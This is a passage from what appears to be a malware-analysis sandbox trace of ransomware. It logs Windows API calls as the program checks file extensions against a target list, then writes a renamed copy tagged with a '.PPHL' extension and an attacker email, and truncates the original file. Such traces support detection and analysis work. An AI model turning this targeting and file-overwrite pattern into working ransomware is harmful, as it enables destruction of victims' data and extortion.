Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0074.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.608] lstrlenW (lpString=".doc") returned 4 [0074.608] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0074.608] lstrlenW (lpString=".docx") returned 5 [0074.608] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0074.608] lstrlenW (lpString=".pdf") returned 4 [0074.608] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0074.608] lstrlenW (lpString=".xls") returned 4 [0074.608] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0074.608] lstrlenW (lpString=".xlsx") returned 5 [0074.608] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0074.608] lstrlenW (lpString=".ppt") returned 4 [0074.608] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0074.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.608] lstrlenW (lpString=".zip") returned 4 [0074.608] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0074.608] lstrlenW (lpString=".rar") returned 4 [0074.608] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0074.608] lstrlenW (lpString=".bz2") returned 4 [0074.608] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0074.608] lstrlenW (lpString=".7z") returned 3 [0074.608] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0074.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.608] lstrlenW (lpString=".dbf") returned 4 [0074.609] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0074.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.609] lstrlenW (lpString=".1cd") returned 4 [0074.609] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0074.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.609] lstrlenW (lpString=".jpg") returned 4 [0074.609] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0074.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.609] lstrlenW (lpString=".doc") returned 4 [0074.609] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0074.609] lstrlenW (lpString=".docx") returned 5 [0074.609] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0074.609] lstrlenW (lpString=".pdf") returned 4 [0074.609] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0074.609] lstrlenW (lpString=".xls") returned 4 [0074.609] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0074.609] lstrlenW (lpString=".xlsx") returned 5 [0074.609] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0074.609] lstrlenW (lpString=".ppt") returned 4 [0074.609] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0074.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.609] lstrlenW (lpString=".zip") returned 4 [0074.609] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0074.609] lstrlenW (lpString=".rar") returned 4 [0074.609] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0074.609] lstrlenW (lpString=".bz2") returned 4 [0074.609] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0074.609] lstrlenW (lpString=".7z") returned 3 [0074.609] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0074.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.609] lstrlenW (lpString=".dbf") returned 4 [0074.610] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0074.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.610] lstrlenW (lpString=".1cd") returned 4 [0074.610] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0074.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0074.610] lstrlenW (lpString=".jpg") returned 4 [0074.610] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0074.610] lstrcmpiW (lpString1=".htm", lpString2=".PPHL") returned -1 [0074.610] lstrlenW (lpString="Garden.htm") returned 10 [0074.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0074.610] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=231) returned 1 [0074.610] CloseHandle (hObject=0x20c) returned 1 [0074.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0074.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.611] lstrlenW (lpString=".doc") returned 4 [0074.611] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0074.611] lstrlenW (lpString=".docx") returned 5 [0074.611] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0074.611] lstrlenW (lpString=".pdf") returned 4 [0074.611] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0074.611] lstrlenW (lpString=".xls") returned 4 [0074.611] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0074.611] lstrlenW (lpString=".xlsx") returned 5 [0074.611] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0074.611] lstrlenW (lpString=".ppt") returned 4 [0074.611] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0074.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.611] lstrlenW (lpString=".zip") returned 4 [0074.611] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0074.611] lstrlenW (lpString=".rar") returned 4 [0074.611] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0074.611] lstrlenW (lpString=".bz2") returned 4 [0074.611] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0074.611] lstrlenW (lpString=".7z") returned 3 [0074.611] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0074.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.611] lstrlenW (lpString=".dbf") returned 4 [0074.611] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0074.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.611] lstrlenW (lpString=".1cd") returned 4 [0074.611] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0074.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.611] lstrlenW (lpString=".jpg") returned 4 [0074.611] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0074.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.612] lstrlenW (lpString=".doc") returned 4 [0074.612] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0074.612] lstrlenW (lpString=".docx") returned 5 [0074.612] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0074.612] lstrlenW (lpString=".pdf") returned 4 [0074.612] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0074.612] lstrlenW (lpString=".xls") returned 4 [0074.612] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0074.612] lstrlenW (lpString=".xlsx") returned 5 [0074.612] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0074.612] lstrlenW (lpString=".ppt") returned 4 [0074.612] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0074.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.612] lstrlenW (lpString=".zip") returned 4 [0074.612] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0074.612] lstrlenW (lpString=".rar") returned 4 [0074.612] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0074.613] lstrlenW (lpString=".bz2") returned 4 [0074.613] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0074.613] lstrlenW (lpString=".7z") returned 3 [0074.613] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0074.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.613] lstrlenW (lpString=".dbf") returned 4 [0074.613] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0074.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.613] lstrlenW (lpString=".1cd") returned 4 [0074.613] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0074.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0074.613] lstrlenW (lpString=".jpg") returned 4 [0074.613] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0074.613] lstrcmpiW (lpString1=".jpg", lpString2=".PPHL") returned -1 [0074.613] lstrlenW (lpString="Garden.jpg") returned 10 [0074.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0074.613] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=23871) returned 1 [0074.613] CloseHandle (hObject=0x20c) returned 1 [0074.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0074.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.614] lstrlenW (lpString=".doc") returned 4 [0074.614] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.614] lstrlenW (lpString=".docx") returned 5 [0074.614] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0074.614] lstrlenW (lpString=".pdf") returned 4 [0074.614] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.614] lstrlenW (lpString=".xls") returned 4 [0074.614] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.614] lstrlenW (lpString=".xlsx") returned 5 [0074.614] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0074.614] lstrlenW (lpString=".ppt") returned 4 [0074.614] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.614] lstrlenW (lpString=".zip") returned 4 [0074.614] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.614] lstrlenW (lpString=".rar") returned 4 [0074.614] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.614] lstrlenW (lpString=".bz2") returned 4 [0074.614] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.614] lstrlenW (lpString=".7z") returned 3 [0074.614] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.615] lstrlenW (lpString=".dbf") returned 4 [0074.615] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.615] lstrlenW (lpString=".1cd") returned 4 [0074.615] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.615] lstrlenW (lpString=".jpg") returned 4 [0074.615] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.615] lstrlenW (lpString=".doc") returned 4 [0074.615] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.615] lstrlenW (lpString=".docx") returned 5 [0074.615] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0074.615] lstrlenW (lpString=".pdf") returned 4 [0074.615] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.615] lstrlenW (lpString=".xls") returned 4 [0074.615] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.615] lstrlenW (lpString=".xlsx") returned 5 [0074.615] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0074.615] lstrlenW (lpString=".ppt") returned 4 [0074.615] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.615] lstrlenW (lpString=".zip") returned 4 [0074.615] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.615] lstrlenW (lpString=".rar") returned 4 [0074.615] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.615] lstrlenW (lpString=".bz2") returned 4 [0074.615] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.615] lstrlenW (lpString=".7z") returned 3 [0074.615] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.615] lstrlenW (lpString=".dbf") returned 4 [0074.615] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.615] lstrlenW (lpString=".1cd") returned 4 [0074.616] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0074.616] lstrlenW (lpString=".jpg") returned 4 [0074.616] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.616] lstrcmpiW (lpString1=".emf", lpString2=".PPHL") returned -1 [0074.616] lstrlenW (lpString="Genko_1.emf") returned 11 [0074.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0075.352] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=5524) returned 1 [0075.353] CloseHandle (hObject=0x1fc) returned 1 [0075.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0075.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0075.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.353] lstrlenW (lpString=".doc") returned 4 [0075.353] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0075.353] lstrlenW (lpString=".docx") returned 5 [0075.353] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0075.353] lstrlenW (lpString=".pdf") returned 4 [0075.353] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0075.353] lstrlenW (lpString=".xls") returned 4 [0075.353] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0075.353] lstrlenW (lpString=".xlsx") returned 5 [0075.353] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0075.353] lstrlenW (lpString=".ppt") returned 4 [0075.353] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0075.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.354] lstrlenW (lpString=".zip") returned 4 [0075.354] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0075.354] lstrlenW (lpString=".rar") returned 4 [0075.354] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0075.354] lstrlenW (lpString=".bz2") returned 4 [0075.354] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0075.354] lstrlenW (lpString=".7z") returned 3 [0075.354] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0075.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.354] lstrlenW (lpString=".dbf") returned 4 [0075.354] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0075.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.354] lstrlenW (lpString=".1cd") returned 4 [0075.354] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0075.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.354] lstrlenW (lpString=".jpg") returned 4 [0075.354] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0075.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.354] lstrlenW (lpString=".doc") returned 4 [0075.354] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0075.354] lstrlenW (lpString=".docx") returned 5 [0075.354] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0075.412] lstrlenW (lpString=".pdf") returned 4 [0075.970] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0075.971] lstrlenW (lpString=".xls") returned 4 [0075.971] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0075.971] lstrlenW (lpString=".xlsx") returned 5 [0075.971] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0075.971] lstrlenW (lpString=".ppt") returned 4 [0075.971] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0075.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.971] lstrlenW (lpString=".zip") returned 4 [0075.971] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0075.971] lstrlenW (lpString=".rar") returned 4 [0075.971] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0075.971] lstrlenW (lpString=".bz2") returned 4 [0075.971] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0075.971] lstrlenW (lpString=".7z") returned 3 [0075.971] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0075.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.971] lstrlenW (lpString=".dbf") returned 4 [0075.971] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0075.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.971] lstrlenW (lpString=".1cd") returned 4 [0075.971] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0075.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0075.971] lstrlenW (lpString=".jpg") returned 4 [0075.971] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0075.972] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0075.972] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0075.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0076.360] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=19780) returned 1 [0076.360] CloseHandle (hObject=0x18c) returned 1 [0076.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0076.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.370] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.370] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0076.380] GetLastError () returned 0x0 [0076.380] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x4d44, lpOverlapped=0x0) returned 1 [0076.389] WriteFile (in: hFile=0x180, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0076.392] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0076.392] WriteFile (in: hFile=0x180, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.392] SetEndOfFile (hFile=0x180) returned 1 [0076.392] CloseHandle (hObject=0x180) returned 1 [0076.392] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.392] SetEndOfFile (hFile=0x1f0) returned 1 [0076.393] CloseHandle (hObject=0x1f0) returned 1 [0076.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 